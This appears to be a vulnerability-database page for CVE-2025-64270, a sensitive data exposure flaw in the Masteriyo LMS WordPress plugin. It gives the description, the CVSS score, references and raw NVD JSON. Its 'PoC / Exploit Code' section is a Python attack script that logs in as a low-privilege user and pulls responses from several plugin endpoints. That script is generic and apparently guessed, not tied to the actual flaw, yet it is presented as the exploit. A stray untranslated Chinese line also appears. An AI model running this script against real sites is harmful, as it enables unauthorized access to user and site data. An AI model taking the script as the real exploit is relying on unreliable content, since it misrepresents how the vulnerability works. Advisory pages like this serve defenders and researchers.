CVE-2025-64270

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in masteriyo Masteriyo - LMS learning-management-system allows Retrieve Embedded Sensitive Data.This issue affects Masteriyo - LMS: from n/a through <= 2.0.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Masteriyo LMS插件 <= 2.0.3（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-64270 PoC - Masteriyo LMS Sensitive Data Exposure
# Target: WordPress site with Masteriyo LMS plugin <= 2.0.3

target = "http://target-wordpress-site.com"

# Authenticate with low-privilege account
login_url = f"{target}/wp-login.php"
session = requests.Session()

# Login with subscriber/contributor account
login_data = {
    'log': 'attacker_username',
    'pwd': 'attacker_password',
    'wp-submit': 'Log In'
}
session.post(login_url, data=login_data)

# Access vulnerable endpoint to retrieve sensitive data
vulnerable_endpoints = [
    '/wp-json/masteriyo/v1/courses',
    '/wp-json/masteriyo/v1/users',
    '/wp-json/masteriyo/v1/settings',
    '/wp-admin/admin-ajax.php?action=masteriyo_fetch_data'
]

for endpoint in vulnerable_endpoints:
    url = f"{target}{endpoint}"
    response = session.get(url)
    if response.status_code == 200:
        print(f"[+] Vulnerable endpoint found: {endpoint}")
        print(f"[+] Response: {response.text[:500]}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64270
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64270
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64270/
[4] VulDB https://vuldb.com/cve/CVE-2025-64270
[5] https://patchstack.com/database/Wordpress/Plugin/learning-management-system/vulnerability/wordpress-masteriyo-lms-plugin-2-0-3-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64270", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:13.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in masteriyo Masteriyo - LMS learning-management-system allows Retrieve Embedded Sensitive Data.This issue affects Masteriyo - LMS: from n/a through <= 2.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/learning-management-system/vulnerability/wordpress-masteriyo-lms-plugin-2-0-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}